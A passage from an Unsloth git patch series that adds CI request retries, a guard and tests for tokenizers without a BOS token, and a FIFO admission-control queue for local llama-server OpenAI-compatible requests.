+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           def post_sse(path, body, *, timeout = 600):
               body = {**body, "stream": True}
@@ -1063,6 +1081,8 @@ jobs:
           import base64
           import json
           import os
+          import time
+          import urllib.error
           import urllib.request
           from openai import OpenAI
           from anthropic import Anthropic
@@ -1082,8 +1102,24 @@ jobs:
                       "Content-Type":  "application/json",
                   },
               )
-              with urllib.request.urlopen(req, timeout = timeout) as resp:
-                  return resp.status, json.loads(resp.read().decode())
+              # Shared CI runners stall sporadically, so retry transport-level
+              # failures only; HTTP status errors surface immediately. Bounded
+              # to fit the job's timeout-minutes: short probes get 3 full
+              # attempts, long probes one retry capped at 300s (a healthy
+              # server answers a retry quickly; a stalled one never does).
+              attempts = 3 if timeout <= 300 else 2
+              for attempt in range(attempts):
+                  try:
+                      t = timeout if attempt == 0 else min(timeout, 300)
+                      with urllib.request.urlopen(req, timeout = t) as resp:
+                          return resp.status, json.loads(resp.read().decode())
+                  except urllib.error.HTTPError:
+                      raise
+                  except (TimeoutError, ConnectionError, urllib.error.URLError) as exc:
+                      if attempt == attempts - 1:
+                          raise
+                      print(f"[retry] {path}: {exc!r}", flush = True)
+                      time.sleep(15)
 
           # ── 1. response_format = json_object (JSON mode) ─────────────
           status, data = post("/v1/chat/completions", {

From 33119c9bf73a6655f800168160ae6a9effa32472 Mon Sep 17 00:00:00 2001
From: Vineeth Sai <vineethsai4444@gmail.com>
Date: Fri, 10 Jul 2026 10:55:11 -0700
Subject: [PATCH 297/306] fix: guard remove_special_tokens against tokenizers
 without a BOS token (#7048)

---
 .../test_remove_special_tokens_no_bos.py      | 46 +++++++++++++++++++
 unsloth/chat_templates.py                     |  5 +-
 2 files changed, 49 insertions(+), 2 deletions(-)
 create mode 100644 tests/python/test_remove_special_tokens_no_bos.py

diff --git a/tests/python/test_remove_special_tokens_no_bos.py b/tests/python/test_remove_special_tokens_no_bos.py
new file mode 100644
index 0000000000..94c5ea3027
--- /dev/null
+++ b/tests/python/test_remove_special_tokens_no_bos.py
@@ -0,0 +1,46 @@
+import ast
+from pathlib import Path
+
+
+def _load_remove_special_tokens():
+    # Extract remove_special_tokens without importing unsloth (importing unsloth
+    # needs unsloth_zoo / a GPU). The function is pure Python and uses no imports,
+    # so it execs cleanly in an empty namespace.
+    source = Path(__file__).parents[2] / "unsloth" / "chat_templates.py"
+    tree = ast.parse(source.read_text(encoding = "utf-8"))
+    funcs = [
+        node
+        for node in tree.body
+        if isinstance(node, ast.FunctionDef) and node.name == "remove_special_tokens"
+    ]
+    namespace = {}
+    module = ast.Module(body = funcs, type_ignores = [])
+    ast.fix_missing_locations(module)
+    exec(compile(module, str(source), "exec"), namespace)
+    return namespace["remove_special_tokens"]
+
+
+class _StubTokenizer:
+    def __init__(self, bos_token):
+        self.bos_token = bos_token
+
+
+def test_no_bos_tokenizer_does_not_crash():
+    # Tokenizers such as Qwen2 / Qwen2.5, GPT-2, Falcon and GPT-NeoX have no BOS
+    # token, so tokenizer.bos_token is None. remove_special_tokens must leave the
+    # prompt untouched instead of raising
+    # "TypeError: startswith first arg must be str or a tuple of str, not NoneType".
+    remove_special_tokens = _load_remove_special_tokens()
+    assert remove_special_tokens(_StubTokenizer(None), "Hello world") == "Hello world"
+
+
+def test_double_bos_is_stripped():
+    # A tokenizer with a BOS token still has a single leading BOS removed.
+    remove_special_tokens = _load_remove_special_tokens()
+    assert remove_special_tokens(_StubTokenizer("<s>"), "<s>Hello world") == "Hello world"
+
+
+def test_prompt_without_leading_bos_unchanged():
+    # A BOS-bearing tokenizer leaves a prompt that does not start with BOS alone.
+    remove_special_tokens = _load_remove_special_tokens()
+    assert remove_special_tokens(_StubTokenizer("<s>"), "Hello world") == "Hello world"
diff --git a/unsloth/chat_templates.py b/unsloth/chat_templates.py
index dd1e433471..2d3674fb04 100644
--- a/unsloth/chat_templates.py
+++ b/unsloth/chat_templates.py
@@ -2103,8 +2103,9 @@ def get_chat_template(
 
 def remove_special_tokens(tokenizer, prompt):
     # Removes double BOS token
-    if prompt.startswith(tokenizer.bos_token):
-        prompt = prompt[len(tokenizer.bos_token):]
+    bos_token = getattr(tokenizer, "bos_token", None)
+    if bos_token is not None and prompt.startswith(bos_token):
+        prompt = prompt[len(bos_token):]
     return prompt
 
 

From fef37cb25b35e36b12c1d9c7d020aa0fb402ce89 Mon Sep 17 00:00:00 2001
From: Apoze <158856608+Apoze@users.noreply.github.com>
Date: Fri, 10 Jul 2026 22:05:48 +0200
Subject: [PATCH 298/306] Studio: queue local GGUF OpenAI-compatible requests
 before llama-server (#7047)

---------

Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---
 .../backend/core/inference/llama_admission.py |  368 +++++
 studio/backend/core/inference/llama_cpp.py    |   23 +
 studio/backend/routes/inference.py            | 1257 ++++++++++++++-
 studio/backend/tests/test_llama_admission.py  |  320 ++++
 ...test_llama_cpp_effective_parallel_slots.py |   53 +
 .../tests/test_openai_tool_passthrough.py     | 1396 +++++++++++++++++
 .../test_stream_cancel_registration_timing.py |   24 +-
 7 files changed, 3408 insertions(+), 33 deletions(-)
 create mode 100644 studio/backend/core/inference/llama_admission.py
 create mode 100644 studio/backend/tests/test_llama_admission.py
 create mode 100644 studio/backend/tests/test_llama_cpp_effective_parallel_slots.py

diff --git a/studio/backend/core/inference/llama_admission.py b/studio/backend/core/inference/llama_admission.py
new file mode 100644
index 0000000000..b6a939c87b
--- /dev/null
+++ b/studio/backend/core/inference/llama_admission.py
@@ -0,0 +1,368 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
+
+"""Admission control for local llama-server generation requests.
+
+The helpers in this module deliberately know nothing about FastAPI, SSE, or the
+OpenAI-compatible route shape. They only coordinate how many upstream generation
+requests may be active for one llama-server backend and provide a cancellable
+FIFO queue for excess requests.
+"""
+
+from __future__ import annotations
+
+import asyncio
+import os
+import threading
+from collections import deque
+from dataclasses import dataclass
+from typing import Deque, Optional
+
+
+ADMISSION_CONTROL_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_CONTROL"
+ADMISSION_QUEUE_TIMEOUT_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_QUEUE_TIMEOUT"
+ADMISSION_KEEPALIVE_INTERVAL_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_KEEPALIVE_INTERVAL"
+ADMISSION_MAX_QUEUE_ENV = "UNSLOTH_OPENAI_COMPAT_ADMISSION_MAX_QUEUE"
+
+DEFAULT_ADMISSION_ENABLED = True
+DEFAULT_ADMISSION_QUEUE_TIMEOUT_S = None
+DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S = 5.0
+DEFAULT_ADMISSION_MAX_QUEUE = 64
+
+
+@dataclass(frozen = True)
+class LlamaAdmissionConfig:
+    enabled: bool = DEFAULT_ADMISSION_ENABLED
+    queue_timeout_s: Optional[float] = DEFAULT_ADMISSION_QUEUE_TIMEOUT_S
+    keepalive_interval_s: float = DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S
+    max_queue: Optional[int] = DEFAULT_ADMISSION_MAX_QUEUE
+
+
+@dataclass(frozen = True)
+class LlamaAdmissionSnapshot:
+    key: str
+    capacity: int
+    active: int
+    queued: int
+
+
+class LlamaAdmissionError(Exception):
+    def __init__(
+        self,
+        message: str,
+        *,
+        snapshot: Optional[LlamaAdmissionSnapshot] = None,
+    ):
+        super().__init__(message)
+        self.snapshot = snapshot
+
+
+class LlamaAdmissionQueueFull(LlamaAdmissionError):
+    pass
+
+
+class LlamaAdmissionTimeout(LlamaAdmissionError):
+    pass
+
+
+class LlamaAdmissionCancelled(LlamaAdmissionError):
+    pass
+
+
+def _bool_env(name: str, default: bool) -> bool:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    value = value.strip().lower()
+    if value in {"1", "true", "yes", "on"}:
+        return True
+    if value in {"0", "false", "no", "off"}:
+        return False
+    return default
+
+
+def _optional_positive_float_env(name: str, default: Optional[float]) -> Optional[float]:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    try:
+        parsed = float(value.strip())
+    except ValueError:
+        return default
+    return parsed if parsed > 0 else None
+
+
+def _positive_float_env(name: str, default: float) -> float:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    try:
+        parsed = float(value.strip())
+    except ValueError:
+        return default
+    return parsed if parsed > 0 else default
+
+
+def _optional_positive_int_env(name: str, default: Optional[int]) -> Optional[int]:
+    value = os.environ.get(name)
+    if value is None or not value.strip():
+        return default
+    try:
+        parsed = int(value.strip())
+    except ValueError:
+        return default
+    return parsed if parsed > 0 else None
+
+
+def llama_admission_config_from_env() -> LlamaAdmissionConfig:
+    return LlamaAdmissionConfig(
+        enabled = _bool_env(ADMISSION_CONTROL_ENV, DEFAULT_ADMISSION_ENABLED),
+        queue_timeout_s = _optional_positive_float_env(
+            ADMISSION_QUEUE_TIMEOUT_ENV,
+            DEFAULT_ADMISSION_QUEUE_TIMEOUT_S,
+        ),
+        keepalive_interval_s = _positive_float_env(
+            ADMISSION_KEEPALIVE_INTERVAL_ENV,
+            DEFAULT_ADMISSION_KEEPALIVE_INTERVAL_S,
+        ),
+        max_queue = _optional_positive_int_env(
+            ADMISSION_MAX_QUEUE_ENV,
+            DEFAULT_ADMISSION_MAX_QUEUE,
+        ),
+    )
+
+
+@dataclass
+class _Waiter:
+    loop: asyncio.AbstractEventLoop
+    future: asyncio.Future
+    cancelled: bool = False
+    granted_lease: Optional["LlamaAdmissionLease"] = None
+
+
+class LlamaAdmissionLease:
+    def __init__(self, queue: Optional["LlamaAdmissionQueue"]):
+        self._queue = queue
+        self._released = False
+        self._release_lock = threading.Lock()
+
+    def release(self) -> None:
+        queue = None
+        with self._release_lock:
+            if self._released:
+                return
+            self._released = True
+            queue = self._queue
+        if queue is not None:
+            queue.release()
+
+    async def __aenter__(self) -> "LlamaAdmissionLease":
+        return self
+
+    async def __aexit__(self, *_args) -> None:
+        self.release()
+
+
+class LlamaAdmissionReservation:
+    def __init__(
+        self,
+        *,
+        queue: Optional["LlamaAdmissionQueue"],
+        lease: Optional[LlamaAdmissionLease] = None,
+        waiter: Optional[_Waiter] = None,
+        snapshot: Optional[LlamaAdmissionSnapshot] = None,
+    ):
+        self._queue = queue
+        self._lease = lease
+        self._waiter = waiter
+        self.snapshot = snapshot
+
+    @property
+    def is_cancelled(self) -> bool:
+        return self._lease is None and self._waiter is None
+
+    def lease_nowait(self) -> Optional[LlamaAdmissionLease]:
+        if self._lease is not None:
+            return self._lease
+        if self._waiter is None or not self._waiter.future.done():
+            return None
+        if self._waiter.future.cancelled():
+            self._waiter.cancelled = True
+            self._waiter = None
+            return None
+        self._lease = self._waiter.future.result()
+        self._waiter = None
+        return self._lease
+
+    async def wait(self, timeout_s: float) -> Optional[LlamaAdmissionLease]:
+        lease = self.lease_nowait()
+        if lease is not None:
+            return lease
+        if self._waiter is None:
+            return None
+        waiter = self._waiter
+        try:
+            await asyncio.wait_for(asyncio.shield(waiter.future), timeout = timeout_s)
+        except asyncio.CancelledError:
+            if waiter.future.cancelled():
+                waiter.cancelled = True
+                if self._waiter is waiter:
+                    self._waiter = None
+                return None
+            raise
+        return self.lease_nowait()
+
+    def cancel(self) -> None:
+        lease = self.lease_nowait()
+        if lease is not None:
+            lease.release()
+            self._lease = None
+            return
+        if self._queue is not None and self._waiter is not None:
+            self._queue.cancel(self._waiter)
+        self._waiter = None
+
+    def snapshot_now(self) -> Optional[LlamaAdmissionSnapshot]:
+        if self._queue is None:
+            return self.snapshot
+        return self._queue.snapshot()
+
+
+class LlamaAdmissionQueue:
+    def __init__(self, key: str):
+        self.key = key
+        self._lock = threading.Lock()
+        self._active = 0
+        self._capacity = 1
+        self._waiters: Deque[_Waiter] = deque()
+
+    def reserve(self, *, capacity: int, config: LlamaAdmissionConfig) -> LlamaAdmissionReservation:
+        capacity = max(1, int(capacity or 1))
+        if not config.enabled:
+            return LlamaAdmissionReservation(
+                queue = None,
+                lease = LlamaAdmissionLease(None),
+                snapshot = LlamaAdmissionSnapshot(self.key, capacity, 0, 0),
+            )
+
+        loop = asyncio.get_running_loop()
+        with self._lock:
+            self._capacity = capacity
+            self._prune_waiters_locked()
+            self._grant_waiters_locked()
+            if self._active < self._capacity and not self._waiters:
+                self._active += 1
+                return LlamaAdmissionReservation(
+                    queue = self,
+                    lease = LlamaAdmissionLease(self),
+                    snapshot = self._snapshot_locked(),
+                )
+            if config.max_queue is not None and len(self._waiters) >= config.max_queue:
+                raise LlamaAdmissionQueueFull(
+                    "llama-server generation queue is full",
+                    snapshot = self._snapshot_locked(),
+                )
+            waiter = _Waiter(
+                loop = loop,
+                future = loop.create_future(),
+            )
+            self._waiters.append(waiter)
+            return LlamaAdmissionReservation(
+                queue = self,
+                waiter = waiter,
+                snapshot = self._snapshot_locked(),
+            )
+
+    def release(self) -> None:
+        with self._lock:
+            if self._active > 0:
+                self._active -= 1
+            self._grant_waiters_locked()
+
+    def cancel(self, waiter: _Waiter) -> None:
+        lease_to_release = None
+        with self._lock:
+            waiter.cancelled = True
+            try:
+                self._waiters.remove(waiter)
+            except ValueError:
+                pass
+            if waiter.granted_lease is not None:
+                lease_to_release = waiter.granted_lease
+                waiter.granted_lease = None
+            if not waiter.future.done():
+                waiter.loop.call_soon_threadsafe(waiter.future.cancel)
+        if lease_to_release is not None:
+            lease_to_release.release()
+
+    def snapshot(self) -> LlamaAdmissionSnapshot:
+        with self._lock:
+            self._prune_waiters_locked()
+            return self._snapshot_locked()
+
+    def is_idle(self) -> bool:
+        with self._lock:
+            self._prune_waiters_locked()
+            return self._active == 0 and not self._waiters
+
+    def _grant_waiters_locked(self) -> None:
+        self._prune_waiters_locked()
+        while self._waiters and self._active < self._capacity:
+            waiter = self._waiters.popleft()
+            if waiter.cancelled or waiter.future.done():
+                continue
+            self._active += 1
+            lease = LlamaAdmissionLease(self)
+            waiter.granted_lease = lease
+            waiter.loop.call_soon_threadsafe(self._deliver_lease, waiter, lease)
+
+    def _deliver_lease(self, waiter: _Waiter, lease: LlamaAdmissionLease) -> None:
+        if waiter.cancelled or waiter.future.done():
+            waiter.granted_lease = None
+            if not waiter.future.done():
+                waiter.future.cancel()
+            lease.release()
+            return
+        try:
+            waiter.future.set_result(lease)
+            waiter.granted_lease = None
+        except asyncio.InvalidStateError:
+            waiter.granted_lease = None
+            lease.release()
+
+    def _prune_waiters_locked(self) -> None:
+        self._waiters = deque(
+            waiter for waiter in self._waiters if not waiter.cancelled and not waiter.future.done()
+        )
+
+    def _snapshot_locked(self) -> LlamaAdmissionSnapshot:
+        return LlamaAdmissionSnapshot(
+            key = self.key,
+            capacity = self._capacity,
+            active = self._active,
+            queued = len(self._waiters),
+        )
+
+
+_QUEUES_LOCK = threading.Lock()
+_QUEUES: dict[str, LlamaAdmissionQueue] = {}
+
+
+def get_llama_admission_queue(key: str) -> LlamaAdmissionQueue:
+    with _QUEUES_LOCK:
+        queue = _QUEUES.get(key)
+        if queue is None:
+            queue = LlamaAdmissionQueue(key)
+            _QUEUES[key] = queue
+            # base_url carries a fresh ephemeral port on every model load, so
+            # each load registers a new key. Drop the now-idle queues from prior
+            # loads so the registry can't grow without bound on a long-running
+            # server. Queues with in-flight requests are kept until they drain.
+            for stale_key in [k for k in _QUEUES if k != key and _QUEUES[k].is_idle()]:
+                del _QUEUES[stale_key]
+        return queue
+
+
+def reset_llama_admission_queues() -> None:
+    with _QUEUES_LOCK:
+        _QUEUES.clear()
diff --git a/studio/backend/core/inference/llama_cpp.py b/studio/backend/core/inference/llama_cpp.py
index c2e3adf815..b06c6eb5cb 100644
--- a/studio/backend/core/inference/llama_cpp.py
+++ b/studio/backend/core/inference/llama_cpp.py
@@ -1541,6 +1541,7 @@ class LlamaCppBackend:
         self._context_length: Optional[int] = None
         self._effective_context_length: Optional[int] = None
         self._max_context_length: Optional[int] = None
+        self._effective_parallel_slots: int = 1
         self._chat_template: Optional[str] = None
         self._chat_template_override: Optional[str] = None
         self._supports_reasoning: bool = False
@@ -1726,6 +1727,15 @@ class LlamaCppBackend:
         """Return the effective context length the server is running at."""
         return self._effective_context_length or self._context_length
 
+    @property
+    def effective_parallel_slots(self) -> int:
+        """Return the serving-slot count the active llama-server actually uses."""
+        try:
+            slots = int(getattr(self, "_effective_parallel_slots", 1))
+        except (TypeError, ValueError):
+            slots = 1
+        return max(1, slots)
+
     @property
     def max_context_length(self) -> Optional[int]:
         """Return the largest context that fits on this hardware at load time.
@@ -1742,6 +1752,16 @@ class LlamaCppBackend:
         """Return the model's native context length from GGUF metadata."""
         return self._context_length
 
+    def _commit_effective_parallel_slots(self, n_parallel: int) -> None:
+        try:
+            slots = int(n_parallel)
+        except (TypeError, ValueError):
+            slots = 1
+        self._effective_parallel_slots = max(1, slots)
+
+    def _reset_effective_parallel_slots(self) -> None:
+        self._effective_parallel_slots = 1
+
     @staticmethod
     def _read_rss_bytes(pid: int) -> Optional[int]:
         """Resident set size of ``pid`` in bytes, from /proc/<pid>/status (Linux).
@@ -7187,6 +7207,7 @@ class LlamaCppBackend:
                         )
 
                 self._healthy = True
+                self._commit_effective_parallel_slots(n_parallel)
 
                 # Commit caller intent only after _healthy=True so a failed start
                 # can't poison the next inheritance check. None keeps prior, []
@@ -7724,6 +7745,7 @@ class LlamaCppBackend:
             self._context_length = None
             self._effective_context_length = None
             self._max_context_length = None
+            self._reset_effective_parallel_slots()
             self._chat_template = None
             self._chat_template_override = None
             self._supports_reasoning = False
@@ -7779,6 +7801,7 @@ class LlamaCppBackend:
         # Stop the watchdog before a deliberate kill so a planned reload/unload
         # isn't seen as a crash; a real crash never routes through here.
         self._stop_mtp_crash_watchdog()
+        self._reset_effective_parallel_slots()
         if self._process is None:
             return
         try:
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 826669d922..db350240ac 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -28,6 +28,16 @@ import re as _re
 from utils.models import extract_model_size_b as _extract_model_size_b
 
 from utils.api_errors import openai_error_body, anthropic_error_body
+from core.inference.llama_admission import (
+    LlamaAdmissionCancelled,
+    LlamaAdmissionConfig,
+    LlamaAdmissionLease,
+    LlamaAdmissionQueueFull,
+    LlamaAdmissionReservation,
+    LlamaAdmissionTimeout,
+    get_llama_admission_queue,
+    llama_admission_config_from_env,
+)
 
 
 def _positive_int_or_none(value: Any) -> Optional[int]:
@@ -1072,6 +1082,270 @@ _STREAM_DISCONNECT_POLL_TIMEOUT_S = 0.25
 _OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S = 0.1
 _OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S = 5.0
 _OPENAI_PASSTHROUGH_SSE_KEEPALIVE = ": keep-alive\n\n"
+_OPENAI_LLAMA_ADMISSION_POLL_S = 0.25
+
+
+def _openai_llama_admission_capacity(request: Optional[Request], llama_backend = None) -> int:
+    """Serving slots available for one local llama-server backend.
+
+    The loaded backend is the source of truth because it may have reduced
+    ``--parallel`` at load time to keep the model on GPU. The app state is a
+    launch-intent fallback for tests and for the short window before a backend
+    reports its committed runtime slots.
+    """
+    slots = _positive_int_or_none(getattr(llama_backend, "effective_parallel_slots", None))
+    if slots is not None:
+        return slots
+    try:
+        slots = getattr(request.app.state, "llama_parallel_slots", None)
+    except Exception:
+        slots = None
+    return _positive_int_or_none(slots) or 1
+
+
+def _openai_llama_admission_reserve(
+    *, request: Optional[Request], llama_backend
+) -> tuple[LlamaAdmissionReservation, LlamaAdmissionConfig]:
+    config = llama_admission_config_from_env()
+    capacity = _openai_llama_admission_capacity(request, llama_backend)
+    key = str(getattr(llama_backend, "base_url", "llama-server"))
+    reservation = get_llama_admission_queue(key).reserve(
+        capacity = capacity,
+        config = config,
+    )
+    return reservation, config
+
+
+def _openai_admission_request_path(request: Optional[Request]) -> Optional[str]:
+    try:
+        return str(request.url.path) if request is not None else None
+    except Exception:
+        return None
+
+
+def _openai_admission_log(
+    event: str,
+    reservation: Optional[LlamaAdmissionReservation] = None,
+    *,
+    snapshot = None,
+    request: Optional[Request],
+    mode: str,
+    wait_started_at: Optional[float] = None,
+    completion_id: Optional[str] = None,
+    level: str = "debug",
+) -> None:
+    if snapshot is None and reservation is not None:
+        snapshot = reservation.snapshot_now()
+    wait_ms = None
+    if wait_started_at is not None:
+        wait_ms = int(max(0.0, time.monotonic() - wait_started_at) * 1000)
+    log = getattr(logger, level, logger.debug)
+    log(
+        "openai admission %s: mode=%s path=%s completion_id=%s capacity=%s active=%s queued=%s wait_ms=%s",
+        event,
+        mode,
+        _openai_admission_request_path(request),
+        completion_id,
+        getattr(snapshot, "capacity", None),
+        getattr(snapshot, "active", None),
+        getattr(snapshot, "queued", None),
+        wait_ms,
+    )
+
+
+def _openai_admission_error_body(exc: Exception, *, status_code: int) -> dict:
+    snapshot = getattr(exc, "snapshot", None)
+    message = str(exc)
+    if snapshot is not None:
+        message = (
+            f"{message} "
+            f"(active={snapshot.active}, queued={snapshot.queued}, capacity={snapshot.capacity})"
+        )
+    return openai_error_body(message, status = status_code)
+
+
+def _openai_admission_http_exception(exc: Exception, *, status_code: int) -> HTTPException:
+    return HTTPException(
+        status_code = status_code,
+        detail = _openai_admission_error_body(exc, status_code = status_code),
+    )
+
+
+def _openai_admission_timeout_error(
+    reservation: LlamaAdmissionReservation,
+) -> LlamaAdmissionTimeout:
+    return LlamaAdmissionTimeout(
+        "Timed out waiting for an available local llama-server generation slot",
+        snapshot = reservation.snapshot_now(),
+    )
+
+
+def _openai_admission_cancelled_error(
+    reservation: LlamaAdmissionReservation,
+) -> LlamaAdmissionCancelled:
+    return LlamaAdmissionCancelled(
+        "Client disconnected before an upstream llama-server generation slot was available",
+        snapshot = reservation.snapshot_now(),
+    )
+
+
+async def _raise_if_openai_admission_cancelled(
+    reservation: LlamaAdmissionReservation, *, request: Optional[Request], cancel_event
+) -> None:
+    if reservation.is_cancelled:
+        raise _openai_admission_cancelled_error(reservation)
+    if await _preheader_cancelled(cancel_event, request):
+        reservation.cancel()
+        raise _openai_admission_cancelled_error(reservation)
+
+
+async def _wait_for_openai_admission_non_streaming(
+    reservation: LlamaAdmissionReservation,
+    config: LlamaAdmissionConfig,
+    *,
+    request: Optional[Request],
+    cancel_event,
+) -> LlamaAdmissionLease:
+    lease = reservation.lease_nowait()
+    if lease is not None:
+        try:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+        except asyncio.CancelledError:
+            lease.release()
+            raise
+        except LlamaAdmissionCancelled:
+            lease.release()
+            raise
+        return lease
+    await _raise_if_openai_admission_cancelled(
+        reservation,
+        request = request,
+        cancel_event = cancel_event,
+    )
+    deadline = None if config.queue_timeout_s is None else time.monotonic() + config.queue_timeout_s
+    try:
+        while True:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+            lease = reservation.lease_nowait()
+            if lease is not None:
+                try:
+                    await _raise_if_openai_admission_cancelled(
+                        reservation,
+                        request = request,
+                        cancel_event = cancel_event,
+                    )
+                except asyncio.CancelledError:
+                    lease.release()
+                    raise
+                except LlamaAdmissionCancelled:
+                    lease.release()
+                    raise
+                return lease
+            wait_s = _OPENAI_LLAMA_ADMISSION_POLL_S
+            if deadline is not None:
+                remaining_s = deadline - time.monotonic()
+                if remaining_s <= 0:
+                    reservation.cancel()
+                    raise _openai_admission_timeout_error(reservation)
+                wait_s = min(wait_s, max(remaining_s, 0.001))
+            try:
+                lease = await reservation.wait(wait_s)
+            except asyncio.TimeoutError:
+                continue
+            if lease is not None:
+                return lease
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+    except asyncio.CancelledError:
+        reservation.cancel()
+        raise
+
+
+async def _openai_admission_wait_stream_chunks(
+    reservation: LlamaAdmissionReservation,
+    config: LlamaAdmissionConfig,
+    *,
+    request: Optional[Request],
+    cancel_event,
+):
+    lease = reservation.lease_nowait()
+    if lease is not None:
+        yield lease
+        return
+
+    await _raise_if_openai_admission_cancelled(
+        reservation,
+        request = request,
+        cancel_event = cancel_event,
+    )
+    deadline = None if config.queue_timeout_s is None else time.monotonic() + config.queue_timeout_s
+    keepalive_interval_s = max(0.001, config.keepalive_interval_s)
+    next_keepalive_at = time.monotonic() + keepalive_interval_s
+    try:
+        while True:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+            lease = reservation.lease_nowait()
+            if lease is not None:
+                yield lease
+                return
+
+            now = time.monotonic()
+            wait_s = min(_OPENAI_LLAMA_ADMISSION_POLL_S, max(next_keepalive_at - now, 0.001))
+            if deadline is not None:
+                remaining_s = deadline - now
+                if remaining_s <= 0:
+                    reservation.cancel()
+                    raise _openai_admission_timeout_error(reservation)
+                wait_s = min(wait_s, max(remaining_s, 0.001))
+            try:
+                lease = await reservation.wait(wait_s)
+            except asyncio.TimeoutError:
+                lease = None
+            if lease is not None:
+                yield lease
+                return
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+            now = time.monotonic()
+            if now >= next_keepalive_at:
+                next_keepalive_at = now + keepalive_interval_s
+                yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+    except asyncio.CancelledError:
+        reservation.cancel()
+        raise
+
+
+async def _close_openai_admitted_stream_iterator(iterator, *, cancelled: bool) -> None:
+    if iterator is None:
+        return
+    if cancelled:
+        athrow = getattr(iterator, "athrow", None)
+        if athrow is not None:
+            try:
+                await athrow(asyncio.CancelledError())
+            except (asyncio.CancelledError, StopAsyncIteration, RuntimeError):
+                return
+    aclose = getattr(iterator, "aclose", None)
+    if aclose is not None:
+        await aclose()
 
 
 def _openai_compat_stream_stall_timeout():
@@ -6649,6 +6923,24 @@ async def openai_chat_completions(
                     bypass_permissions = bool(payload.bypass_permissions),
                 )
 
+            _tool_admission_mode = "chat_tool_stream" if payload.stream else "chat_tool_nonstream"
+            try:
+                reservation, admission_config = _openai_llama_admission_reserve(
+                    request = request,
+                    llama_backend = llama_backend,
+                )
+            except LlamaAdmissionQueueFull as exc:
+                _openai_admission_log(
+                    "queue-full",
+                    snapshot = exc.snapshot,
+                    request = request,
+                    mode = _tool_admission_mode,
+                    completion_id = completion_id,
+                    level = "warning",
+                )
+                api_monitor.fail(monitor_id, str(exc))
+                raise _openai_admission_http_exception(exc, status_code = 429)
+
             _tool_sentinel = object()
 
             _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
@@ -6657,6 +6949,8 @@ async def openai_chat_completions(
 
             async def gguf_tool_stream():
                 gen = None
+                next_task = None
+                stream_completed = False
                 disconnect_watcher = asyncio.create_task(
                     _await_disconnect_then_cancel(request, cancel_event)
                 )
@@ -6694,7 +6988,14 @@ async def openai_chat_completions(
                             api_monitor.finish(monitor_id, "cancelled")
                             return
 
-                        event = await asyncio.to_thread(next, gen, _tool_sentinel)
+                        next_task = asyncio.create_task(
+                            asyncio.to_thread(next, gen, _tool_sentinel)
+                        )
+                        try:
+                            event = await asyncio.shield(next_task)
+                        finally:
+                            if next_task.done():
+                                next_task = None
                         if event is _tool_sentinel:
                             break
 
@@ -6793,6 +7094,7 @@ async def openai_chat_completions(
                     api_monitor.finish(
                         monitor_id, "cancelled" if cancel_event.is_set() else "completed"
                     )
+                    stream_completed = True
                     yield "data: [DONE]\n\n"
 
                 except asyncio.CancelledError:
@@ -6807,18 +7109,155 @@ async def openai_chat_completions(
                     error_chunk = _openai_stream_error_chunk(e)
                     yield _openai_stream_error_sse(error_chunk)
                 finally:
-                    await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
-                    if gen is not None:
-                        try:
-                            gen.close()
-                        except (RuntimeError, ValueError):
-                            pass
-                    _tracker.__exit__(None, None, None)
+                    try:
+                        if not stream_completed:
+                            cancel_event.set()
+                        task_to_drain = next_task
+                        next_task = None
+                        while task_to_drain is not None and not task_to_drain.done():
+                            try:
+                                await asyncio.shield(task_to_drain)
+                            except asyncio.CancelledError:
+                                cancel_event.set()
+                                continue
+                            except Exception:
+                                break
+                        if task_to_drain is not None and task_to_drain.done():
+                            try:
+                                task_to_drain.exception()
+                            except (asyncio.CancelledError, Exception):
+                                pass
+                        if gen is not None and not stream_completed:
+                            try:
+                                await asyncio.to_thread(gen.close)
+                            except (RuntimeError, ValueError):
+                                pass
+                            except Exception:
+                                logger.debug(
+                                    "Error closing GGUF tool stream generator during cleanup",
+                                    exc_info = True,
+                                )
+                        await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+                    finally:
+                        _tracker.__exit__(None, None, None)
 
             if payload.stream:
+                stream_lease = reservation.lease_nowait()
+                admission_wait_started_at = None
+                if stream_lease is None:
+                    admission_wait_started_at = time.monotonic()
+                    _openai_admission_log(
+                        "queued",
+                        reservation,
+                        request = request,
+                        mode = _tool_admission_mode,
+                        completion_id = completion_id,
+                        level = "debug",
+                    )
+
+                async def admitted_gguf_tool_stream():
+                    lease = stream_lease
+                    stream_started = False
+                    stream_cancelled = False
+                    try:
+                        if lease is None:
+                            async for wait_item in _openai_admission_wait_stream_chunks(
+                                reservation,
+                                admission_config,
+                                request = request,
+                                cancel_event = cancel_event,
